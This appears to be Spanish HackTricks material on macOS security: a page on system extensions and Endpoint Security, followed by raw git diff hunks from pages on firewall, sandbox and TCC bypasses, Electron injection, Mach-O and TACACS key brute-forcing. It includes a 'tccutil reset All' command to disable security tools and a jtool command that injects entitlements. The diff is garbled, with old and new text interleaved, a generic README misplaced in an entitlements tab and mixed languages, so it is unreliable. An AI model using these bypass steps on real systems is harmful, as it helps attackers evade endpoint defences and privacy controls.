Existen tres tipos de extensiones del sistema: extensiones de **DriverKit**, extensiones de **red** y extensiones de **seguridad de punto final**.
### **Extensiones de DriverKit**
DriverKit es un reemplazo para las extensiones del kernel que **proporcionan soporte de hardware**. Permite que los controladores de dispositivos (como los controladores USB, serie, NIC y HID) se ejecuten en el espacio de usuario en lugar del espacio del kernel. El marco de trabajo DriverKit incluye **versiones de espacio de usuario de ciertas clases de I/O Kit**, y el kernel reenvía los eventos normales de I/O Kit al espacio de usuario, ofreciendo un entorno más seguro para que estos controladores se ejecuten.
### **Extensiones de red**
Las extensiones de red proporcionan la capacidad de personalizar los comportamientos de la red. Hay varios tipos de extensiones de red:
* **Proxy de aplicación**: se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado al flujo. Esto significa que maneja el tráfico de red en función de las conexiones (o flujos) en lugar de los paquetes individuales.
* **Túnel de paquetes**: se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado a paquetes. Esto significa que maneja el tráfico de red en función de los paquetes individuales.
* **Filtrar datos**: se utiliza para filtrar "flujos" de red. Puede monitorear o modificar datos de red a nivel de flujo.
* **Filtrar paquetes**: se utiliza para filtrar paquetes de red individuales. Puede monitorear o modificar datos de red a nivel de paquete.
* **Proxy DNS**: se utiliza para crear un proveedor DNS personalizado. Se puede utilizar para monitorear o modificar solicitudes y respuestas de DNS.
## Marco de seguridad de punto final
Endpoint Security es un marco proporcionado por Apple en macOS que proporciona un conjunto de API para la seguridad del sistema. Está destinado a ser utilizado por **proveedores de seguridad y desarrolladores para construir productos que puedan monitorear y controlar la actividad del sistema** para identificar y proteger contra actividades maliciosas.
Este marco proporciona una **colección de API para monitorear y controlar la actividad del sistema**, como ejecuciones de procesos, eventos del sistema de archivos, eventos de red y del kernel.
El núcleo de este marco se implementa en el kernel, como una extensión del kernel (KEXT) ubicada en **`/System/Library/Extensions/EndpointSecurity.kext`**. Esta KEXT se compone de varios componentes clave:
* **EndpointSecurityDriver**: actúa como el "punto de entrada" para la extensión del kernel. Es el punto principal de interacción entre el sistema operativo y el marco de seguridad de punto final.
* **EndpointSecurityEventManager**: este componente es responsable de implementar ganchos del kernel. Los ganchos del kernel permiten que el marco monitoree eventos del sistema interceptando llamadas del sistema.
* **EndpointSecurityClientManager**: gestiona la comunicación con los clientes del espacio de usuario, realizando un seguimiento de qué clientes están conectados y necesitan recibir notificaciones de eventos.
* **EndpointSecurityMessageManager**: envía mensajes y notificaciones de eventos a los clientes del espacio de usuario.
Los eventos que el marco de seguridad de punto final puede monitorear se clasifican en:
* Eventos de archivo
* Eventos de proceso
* Eventos de socket
* Eventos del kernel (como cargar/descargar una extensión del kernel o abrir un dispositivo I/O Kit)
### Arquitectura del marco de seguridad de punto final
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
La **comunicación del espacio de usuario** con el marco de seguridad de punto final se realiza a través de la clase IOUserClient. Se utilizan dos subclases diferentes, según el tipo de llamante:
* **EndpointSecurityDriverClient**: esto requiere el permiso `com.apple.private.endpoint-security.manager`, que solo tiene el proceso del sistema `endpointsecurityd`.
* **EndpointSecurityExternalClient**: esto requiere el permiso `com.apple.developer.endpoint-security.client`. Esto lo utilizaría típicamente el software de seguridad de terceros que necesita interactuar con el marco de seguridad de punto final.
Las extensiones de seguridad de punto final: **`libEndpointSecurity.dylib`** es la biblioteca C que utilizan las extensiones del sistema para comunicarse con el kernel. Esta biblioteca utiliza el I/O Kit (`IOKit`) para comunicarse con la extensión del kernel de seguridad de punto final.
**`endpointsecurityd`** es un demonio del sistema clave que participa en la gestión y el lanzamiento de extensiones del sistema de seguridad de punto final, especialmente durante el proceso de arranque temprano. Solo las extensiones del sistema marcadas con **`NSEndpointSecurityEarlyBoot`** en su archivo `Info.plist` reciben este tratamiento de arranque temprano.
Otro demonio del sistema, **`sysextd`**, **valida las extensiones del sistema** y las mueve a las ubicaciones del sistema adecuadas. Luego solicita al demonio relevante que cargue la extensión. El **`SystemExtensions.framework`** es responsable de activar y desactivar las extensiones del sistema.
## Saltándose ESF
ESF es utilizado por herramientas de seguridad que intentarán detectar a un equipo rojo, por lo que cualquier información sobre cómo evitarlo suena interesante.
### CVE-2021-30965
La cosa es que la aplicación de seguridad necesita tener **permisos de acceso completo al disco**. Por lo tanto, si un atacante pudiera eliminar eso, podría evitar que el software se ejecute:
```bash
tccutil reset All
```
Para **más información** sobre este bypass y otros relacionados, consulte la charla [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
Al final, esto se solucionó dando el nuevo permiso **`kTCCServiceEndpointSecurityClient`** a la aplicación de seguridad gestionada por **`tccd`** para que `tccutil` no borre sus permisos y evitar que se ejecute.
## Referencias
* [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -14,7 +14,7 @@
## Técnicas encontradas
Se encontraron las siguientes técnicas que funcionan en algunas aplicaciones de firewall de macOS.
Las siguientes técnicas funcionan en algunas aplicaciones de firewall de macOS.
### Abuso de nombres de lista blanca
@ -34,19 +34,19 @@ El firewall podría permitir conexiones a dominios de Apple conocidos como **`ap
### Bypass genérico
Algunas ideas para intentar eludir los firewalls
Algunas ideas para intentar eludir los firewalls.
### Verificar el tráfico permitido
Conocer el tráfico permitido te ayudará a identificar dominios potencialmente en lista blanca o qué aplicaciones tienen permiso para acceder a ellos.
Conocer el tráfico permitido te ayudará a identificar los dominios potencialmente en lista blanca o qué aplicaciones tienen permiso para acceder a ellos.
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### Abusando de DNS
Las resoluciones de DNS se realizan a través de la aplicación firmada **`mdnsreponder`**, la cual probablemente estará permitida para contactar con los servidores DNS.
Las resoluciones de DNS se realizan a través de la aplicación firmada **`mdnsreponder`**, la cual probablemente estará permitida para contactar servidores DNS.
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### A través de aplicaciones de navegador

View File

@ -35,7 +35,7 @@ struct fat_arch {
El encabezado tiene los bytes **magic** seguidos del **número** de **archivos** que el archivo **contiene** (`nfat_arch`) y cada archivo tendrá una estructura `fat_arch`.
Verifíquelo con:
Compruébelo con:
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
/bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
@ -183,7 +183,7 @@ Ejemplo de **encabezado de sección**:
Si **agregas** el **desplazamiento de sección** (0x37DC) + el **desplazamiento** donde comienza la **arquitectura**, en este caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
También es posible obtener **información de encabezado** desde la **línea de comandos** con:
```bash
@ -197,7 +197,7 @@ Segmentos comunes cargados por este cmd:
* `__text`: Código binario compilado
* `__const`: Datos constantes
* `__cstring`: Constantes de cadena
* `__stubs` y `__stubs_helper`: Involucrados durante el proceso de carga de bibliotecas dinámicas
* `__stubs` y `__stubs_helper`: Involucrados durante el proceso de carga de biblioteca dinámica
* **`__DATA`**: Contiene datos que son **escribibles**.
* `__data`: Variables globales (que han sido inicializadas)
* `__bss`: Variables estáticas (que no han sido inicializadas)
@ -215,7 +215,7 @@ Contiene información sobre la **firma de código del archivo Macho-O**. Solo co
### **LC\_LOAD\_DYLINKER**
Contiene la **ruta al ejecutable del enlazador dinámico** que mapea bibliotecas compartidas en el espacio de direcciones del proceso. El **valor siempre se establece en `/usr/lib/dyld`**. Es importante tener en cuenta que en macOS, el mapeo de dylib ocurre en **modo de usuario**, no en modo kernel.
Contiene la **ruta al ejecutable del enlazador dinámico** que mapea bibliotecas compartidas en el espacio de direcciones del proceso. El **valor siempre está establecido en `/usr/lib/dyld`**. Es importante tener en cuenta que en macOS, el mapeo de dylib ocurre en **modo de usuario**, no en modo kernel.
### **`LC_LOAD_DYLIB`**

View File

@ -1,6 +1,26 @@
## Inyección en Aplicaciones Electron de macOS
## Inyección de aplicaciones Electron en macOS
Según [**este**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) artículo, si ejecutas una aplicación Electron con banderas como **`--inspect`**, **`--inspect-brk`** y **`--remote-debugging-port`**, se abrirá un **puerto de depuración** al que podrás conectarte (por ejemplo, desde Chrome en `chrome://inspect`) y podrás **inyectar código en él** o incluso lanzar nuevos procesos.\
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Agregar código a aplicaciones Electron
El código JS de una aplicación Electron no está firmado, por lo que un atacante podría mover la aplicación a una ubicación escribible, inyectar código JS malicioso y lanzar esa aplicación y abusar de los permisos TCC.
Sin embargo, se **necesita** el permiso **`kTCCServiceSystemPolicyAppBundles`** para modificar una aplicación, por lo que por defecto esto ya no es posible.
## Inspeccionar aplicaciones Electron
Según [**esto**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), si ejecutas una aplicación Electron con banderas como **`--inspect`**, **`--inspect-brk`** y **`--remote-debugging-port`**, se abrirá un **puerto de depuración** para que puedas conectarte a él (por ejemplo, desde Chrome en `chrome://inspect`) y podrás **inyectar código en él** o incluso lanzar nuevos procesos.\
Por ejemplo:
{% code overflow="wrap" %}

View File

@ -1,4 +1,4 @@
# Depuración y Bypass de Sandbox en macOS
# Depuración y Bypass del Sandbox de macOS
<details>
@ -6,36 +6,36 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Proceso de carga de Sandbox
## Proceso de carga del Sandbox
<figure><img src="../../../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption><p>Imagen de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption><p>Imagen de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
En la imagen anterior se puede observar **cómo se cargará la sandbox** cuando se ejecute una aplicación con la concesión **`com.apple.security.app-sandbox`**.
En la imagen anterior se puede observar **cómo se cargará el sandbox** cuando se ejecute una aplicación con la concesión **`com.apple.security.app-sandbox`**.
El compilador vinculará `/usr/lib/libSystem.B.dylib` al binario.
Luego, **`libSystem.B`** llamará a otras varias funciones hasta que **`xpc_pipe_routine`** envíe las concesiones de la aplicación a **`securityd`**. Securityd comprueba si el proceso debe ser puesto en cuarentena dentro de la Sandbox, y si es así, se pondrá en cuarentena.\
Finalmente, la sandbox se activará con una llamada a **`__sandbox_ms`** que llamará a **`__mac_syscall`**.
Luego, **`libSystem.B`** llamará a otras varias funciones hasta que **`xpc_pipe_routine`** envíe las concesiones de la aplicación a **`securityd`**. Securityd comprueba si el proceso debe ser puesto en cuarentena dentro del Sandbox, y si es así, se pondrá en cuarentena.\
Finalmente, el sandbox se activará con una llamada a **`__sandbox_ms`** que llamará a **`__mac_syscall`**.
## Posibles Bypasses
{% hint style="warning" %}
Ten en cuenta que los **archivos creados por procesos en sandbox** se les añade el **atributo de cuarentena** para evitar que se escape de la sandbox.
Ten en cuenta que los **archivos creados por procesos en el sandbox** se les añade el **atributo de cuarentena** para evitar que se escape del sandbox.
{% endhint %}
### Ejecutar binarios sin Sandbox
Si ejecutas un binario que no esté en la sandbox desde un binario en sandbox, se **ejecutará dentro de la sandbox del proceso padre**.
Si ejecutas un binario que no esté en el sandbox desde un binario en el sandbox, se **ejecutará dentro del sandbox del proceso padre**.
### Depuración y bypass de Sandbox con lldb
### Depuración y bypass del Sandbox con lldb
Compilaremos una aplicación que debería estar en la sandbox:
Compilaremos una aplicación que debería estar en el sandbox:
{% tabs %}
{% tab title="sand.c" %}
@ -47,22 +47,37 @@ int main() {
```
{% endtab %}
{% tab title="README.md" %}
{% tab title="entitlements.xml" %}
# Depuración y bypass de macOS Sandbox
La depuración y el bypass de la sandbox de macOS son técnicas avanzadas que pueden ser utilizadas por atacantes para evadir las protecciones de seguridad de macOS. En este documento, se describen algunas técnicas comunes de depuración y bypass de la sandbox de macOS.
La sandbox de macOS es una característica de seguridad que limita el acceso de las aplicaciones a los recursos del sistema. Sin embargo, como cualquier medida de seguridad, no es infalible y puede ser vulnerada. En este archivo se describen algunas técnicas para depurar y evitar la sandbox de macOS.
## Depuración de la sandbox de macOS
## Depuración de la sandbox
La depuración de la sandbox de macOS se puede realizar utilizando herramientas de depuración como LLDB o GDB. Estas herramientas permiten a los atacantes analizar el comportamiento de los programas que se ejecutan en la sandbox de macOS y encontrar vulnerabilidades que puedan ser explotadas para evadir las protecciones de seguridad.
Para depurar la sandbox de macOS, se puede utilizar el depurador `lldb`. Primero, se debe obtener el PID del proceso que se desea depurar. Esto se puede hacer con el comando `ps` o con el Monitor de Actividad de macOS. Una vez que se tiene el PID, se puede iniciar `lldb` con el siguiente comando:
## Bypass de la sandbox de macOS
```
$ lldb -p <PID>
```
El bypass de la sandbox de macOS se puede lograr mediante la explotación de vulnerabilidades en el kernel de macOS o en los programas que se ejecutan en la sandbox de macOS. Los atacantes pueden utilizar técnicas como la inyección de código, la escalada de privilegios y la manipulación de la memoria para evadir las protecciones de seguridad de la sandbox de macOS.
Una vez que se ha iniciado `lldb`, se puede utilizar el comando `process continue` para continuar la ejecución del proceso. En este punto, se puede establecer un punto de interrupción en el código de la aplicación y examinar el estado de la sandbox.
## Conclusiones
## Bypass de la sandbox
La sandbox de macOS es una característica importante de seguridad que ayuda a proteger los sistemas macOS de los ataques. Sin embargo, los atacantes pueden utilizar técnicas avanzadas de depuración y bypass para evadir estas protecciones de seguridad. Por lo tanto, es importante que los administradores de sistemas y los usuarios de macOS estén al tanto de estas técnicas y tomen medidas para proteger sus sistemas de los ataques.
Existen varias técnicas para evitar la sandbox de macOS. Una de ellas es utilizar una vulnerabilidad en la aplicación para obtener acceso a recursos del sistema que normalmente estarían restringidos por la sandbox. Otra técnica es utilizar una aplicación que ya tenga permisos para acceder a los recursos del sistema y que permita ejecutar comandos en nombre de la aplicación sandbox.
Otra técnica es modificar el archivo `entitlements.xml` de la aplicación para agregar permisos adicionales. Esto se puede hacer utilizando una herramienta como `jtool`. Por ejemplo, para agregar el permiso `com.apple.security.cs.allow-jit` se puede ejecutar el siguiente comando:
```
$ jtool --ent /path/to/app/Contents/MacOS/app | sed 's/<\/dict>/<key>com.apple.security.cs.allow-jit<\/key><true\/><\/dict>/' | jtool --sign --inplace --ent - /path/to/app/Contents/MacOS/app
```
Esto agregará el permiso `com.apple.security.cs.allow-jit` al archivo `entitlements.xml` de la aplicación y permitirá que la aplicación ejecute código compilado en tiempo de ejecución.
## Conclusión
La sandbox de macOS es una característica importante de seguridad que limita el acceso de las aplicaciones a los recursos del sistema. Sin embargo, como cualquier medida de seguridad, no es infalible y puede ser vulnerada. Es importante comprender las técnicas utilizadas para depurar y evitar la sandbox de macOS para poder proteger adecuadamente los sistemas macOS.
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
@ -77,41 +92,31 @@ La sandbox de macOS es una característica importante de seguridad que ayuda a p
## macOS Sandbox Debug and Bypass
The macOS sandbox is a powerful security feature that restricts the actions that a process can perform on a system. However, it is not perfect and can be bypassed or debugged in certain circumstances. This guide will cover some techniques for debugging and bypassing the macOS sandbox.
The macOS sandbox is a powerful security feature that restricts the actions that a process can perform on a system. However, it is not perfect and can be bypassed or debugged in certain circumstances. In this section, we will explore some techniques for debugging and bypassing the macOS sandbox.
### Debugging the macOS Sandbox
Debugging the macOS sandbox can be useful for understanding how it works and identifying potential vulnerabilities. There are several tools and techniques that can be used to debug the sandbox, including:
Debugging the macOS sandbox can be useful for understanding how it works and identifying potential vulnerabilities. There are several tools that can be used for debugging the sandbox, including:
- **lldb**: The LLDB debugger can be used to attach to a sandboxed process and inspect its state. This can be useful for understanding how the sandbox is enforced and identifying potential weaknesses.
- **sandbox-exec**: This is a command-line tool that can be used to run a process in a sandbox and debug it. It allows you to specify the sandbox profile to use and provides options for tracing system calls and logging sandbox violations.
- **dtrace**: DTrace can be used to trace system calls made by a sandboxed process. This can be useful for understanding how the sandbox is enforced and identifying potential weaknesses.
- **lldb**: This is a powerful debugger that can be used to attach to a process running in a sandbox and debug it. It allows you to set breakpoints, inspect memory, and modify variables.
- **sysdiagnose**: The sysdiagnose tool can be used to collect diagnostic information about a sandboxed process. This can be useful for understanding how the sandbox is enforced and identifying potential weaknesses.
- **dtruss**: This is a tool that can be used to trace system calls made by a process running in a sandbox. It can be useful for understanding how the sandbox is enforcing restrictions on the process.
### Bypassing the macOS Sandbox
Bypassing the macOS sandbox can be useful for performing actions that are restricted by the sandbox. There are several techniques that can be used to bypass the sandbox, including:
Bypassing the macOS sandbox can be useful for performing actions that are restricted by the sandbox. There are several techniques that can be used for bypassing the sandbox, including:
- **Exploiting a vulnerability**: If a vulnerability exists in the sandbox or in a process running within the sandbox, it may be possible to exploit this vulnerability to bypass the sandbox.
- **Exploiting a vulnerability**: If a vulnerability exists in the sandbox or in a process running in the sandbox, it may be possible to exploit it to bypass the sandbox.
- **Abusing entitlements**: Entitlements are permissions granted to a process by the system. If a process has overly permissive entitlements, it may be possible to abuse these entitlements to bypass the sandbox.
- **Using a signed binary**: If a binary is signed with a valid Apple Developer ID, it may be possible to bypass the sandbox by using a technique known as "entitlement spoofing". This involves modifying the binary to include additional entitlements that allow it to perform actions that are normally restricted by the sandbox.
- **Abusing interprocess communication**: Interprocess communication (IPC) can be used to communicate between processes running within the sandbox and processes running outside of the sandbox. If a process running within the sandbox can communicate with a process running outside of the sandbox, it may be possible to bypass the sandbox.
- **Using a kernel extension**: If a kernel extension is loaded into the kernel, it can bypass the sandbox and perform actions that are normally restricted. However, loading a kernel extension requires root privileges and is not recommended.
- **Abusing shared memory**: Shared memory can be used to share data between processes running within the sandbox and processes running outside of the sandbox. If a process running within the sandbox can access shared memory that is also accessible by a process running outside of the sandbox, it may be possible to bypass the sandbox.
- **Using a third-party library**: If a third-party library is used by a process running in the sandbox, it may be possible to bypass the sandbox by exploiting a vulnerability in the library.
- **Abusing file system permissions**: If a process running within the sandbox has overly permissive file system permissions, it may be possible to abuse these permissions to bypass the sandbox.
- **Abusing environment variables**: Environment variables can be used to pass information between processes. If a process running within the sandbox can set an environment variable that is read by a process running outside of the sandbox, it may be possible to bypass the sandbox.
- **Abusing dynamic libraries**: If a process running within the sandbox loads a dynamic library that is also loaded by a process running outside of the sandbox, it may be possible to bypass the sandbox.
- **Abusing code signing**: If a process running within the sandbox can load a code-signed binary that is also loaded by a process running outside of the sandbox, it may be possible to bypass the sandbox.
- **Abusing kernel extensions**: If a process running within the sandbox can load a kernel extension that is also loaded by a process running outside of the sandbox, it may be possible to bypass the sandbox.
It is important to note that bypassing the macOS sandbox can be difficult and may require a significant amount of expertise. Additionally, bypassing the sandbox can be illegal and may result in legal consequences. It is important to only attempt to bypass the sandbox for legitimate purposes and with appropriate legal authorization.
It is important to note that bypassing the macOS sandbox is a serious security issue and should only be done for legitimate purposes, such as penetration testing or vulnerability research.
```xml
<plist version="1.0">
<dict>

View File

@ -12,11 +12,11 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
El **atributo extendido `com.apple.macl`** se agrega al nuevo **archivo** para dar acceso a la **aplicación creadora** a leerlo.
El **atributo extendido `com.apple.macl`** se agrega al nuevo **archivo** para dar acceso a la **aplicación creadora** para leerlo.
### Bypass de SSH
Por defecto, el acceso a través de **SSH** tendrá **"Acceso completo al disco"**. Para desactivarlo, debe estar en la lista pero desactivado (eliminarlo de la lista no eliminará esos privilegios):
Por defecto, un acceso a través de **SSH** tendrá **"Acceso completo al disco"**. Para desactivarlo, debe estar en la lista pero desactivado (eliminarlo de la lista no eliminará esos privilegios):
![](<../../../../.gitbook/assets/image (569).png>)
@ -26,7 +26,7 @@ Aquí puede encontrar ejemplos de cómo algunos **malwares han podido evitar est
### Manejar extensiones - CVE-2022-26767
El atributo **`com.apple.macl`** se otorga a los archivos para dar a una **aplicación específica permisos para leerlo**. Este atributo se establece cuando se **arrastra y suelta** un archivo sobre una aplicación, o cuando un usuario **hace doble clic** en un archivo para abrirlo con la **aplicación predeterminada**.
El atributo **`com.apple.macl`** se otorga a los archivos para darle a una **aplicación específica permisos para leerlo**. Este atributo se establece cuando se **arrastra y suelta** un archivo sobre una aplicación, o cuando un usuario **hace doble clic** en un archivo para abrirlo con la **aplicación predeterminada**.
Por lo tanto, un usuario podría **registrar una aplicación maliciosa** para manejar todas las extensiones y llamar a Launch Services para **abrir** cualquier archivo (por lo que el archivo malicioso obtendrá acceso para leerlo).
@ -36,12 +36,6 @@ Con el permiso **`com.apple.private.icloud-account-access`** es posible comunica
**iMovie** y **Garageband** tenían este permiso y otros que lo permitían.
### Bypass de Electron
El código JS de una aplicación Electron no está firmado, por lo que un atacante podría mover la aplicación a una ubicación escribible, inyectar código JS malicioso y lanzar esa aplicación y abusar de los permisos TCC.
Electron está trabajando en la clave **`ElectronAsarIntegrity`** en Info.plist que contendrá un hash del archivo app.asar para verificar la integridad del código JS antes de ejecutarlo.
### kTCCServiceAppleEvents / Automatización
Una aplicación con el permiso **`kTCCServiceAppleEvents`** podrá **controlar otras aplicaciones**. Esto significa que podría ser capaz de **abusar de los permisos otorgados a otras aplicaciones**.
@ -52,7 +46,7 @@ Para obtener más información sobre Apple Scripts, consulte:
[macos-apple-scripts.md](macos-apple-scripts.md)
{% endcontent-ref %}
Por ejemplo, si una aplicación tiene **permiso de automatización sobre `iTerm`**, en este ejemplo **`Terminal`** tiene acceso sobre iTerm:
Por ejemplo, si una aplicación tiene **permiso de Automatización sobre `iTerm`**, como en este ejemplo **`Terminal`** tiene acceso sobre iTerm:
<figure><img src="../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
@ -127,7 +121,7 @@ $> ls ~/Documents
Notas tenía acceso a ubicaciones protegidas por TCC, pero cuando se crea una nota, esta se **crea en una ubicación no protegida**. Por lo tanto, se podría pedir a Notas que copie un archivo protegido en una nota (en una ubicación no protegida) y luego acceder al archivo:
<figure><img src="../../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
### CVE-2021-XXXX - Translocación
@ -193,7 +187,7 @@ __attribute__((constructor)) static void constructor(int argc, const char **argv
```
Para obtener más información, consulte el [**informe original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
### Complementos de la capa de abstracción del dispositivo (DAL)
### Plug-ins de la capa de abstracción del dispositivo (DAL)
Las aplicaciones del sistema que abren el flujo de la cámara a través de Core Media I/O (aplicaciones con **`kTCCServiceCamera`**) cargan **en el proceso estos complementos** ubicados en `/Library/CoreMediaIO/Plug-Ins/DAL` (no restringidos por SIP).
@ -211,7 +205,7 @@ Existen diferentes técnicas para inyectar código dentro de un proceso y abusar
### Firefox
La aplicación Firefox sigue siendo vulnerable al tener la concesión `com.apple.security.cs.disable-library-validation`:
La aplicación Firefox sigue siendo vulnerable teniendo la concesión `com.apple.security.cs.disable-library-validation`:
```xml
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
@ -359,7 +353,7 @@ La carpeta **`/var/db/locationd/` no estaba protegida de la montura de DMG**, po
En varias ocasiones, los archivos almacenarán información sensible como correos electrónicos, números de teléfono, mensajes... en ubicaciones no protegidas (lo que cuenta como una vulnerabilidad en Apple).
<figure><img src="../../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
## Referencia

View File

@ -17,19 +17,19 @@ Para realizar un ataque MitM, se puede utilizar un [**ataque de suplantación de
### Fuerza bruta de la clave
Ahora es necesario ejecutar [Loki](https://c0decafe.de/svn/codename\_loki/trunk/). Esta es una herramienta especial diseñada para analizar la seguridad de los protocolos L2/L3. Sus capacidades son tan buenas como las del popular **Yersinia** y es un competidor serio. Loki también puede realizar ataques de fuerza bruta contra claves TACACS. Si la clave se descifra con éxito (**generalmente en formato cifrado MD5)**, **se puede acceder al equipo y descifrar el tráfico cifrado de TACACS**.
Ahora es necesario ejecutar [Loki](https://c0decafe.de/svn/codename\_loki/trunk/). Esta es una herramienta especial diseñada para analizar la seguridad de los protocolos L2/L3. Sus capacidades son tan buenas como las del popular **Yersinia** y es un competidor serio. Loki también puede realizar ataques de fuerza bruta contra claves TACACS. Si se logra **descifrar** la clave con éxito (**generalmente en formato cifrado MD5)**, **se puede acceder al equipo y descifrar el tráfico cifrado de TACACS**.
```
sudo loki_gtk.py
```
<figure><img src="../.gitbook/assets/image (31) (2).png" alt=""><figcaption></figcaption></figure>
También es necesario especificar la ruta al diccionario para realizar un ataque de fuerza bruta sobre la clave encriptada. Asegúrate de desmarcar la opción **Use Bruteforce**, de lo contrario Loki realizará un ataque de fuerza bruta sobre la contraseña sin utilizar el diccionario.
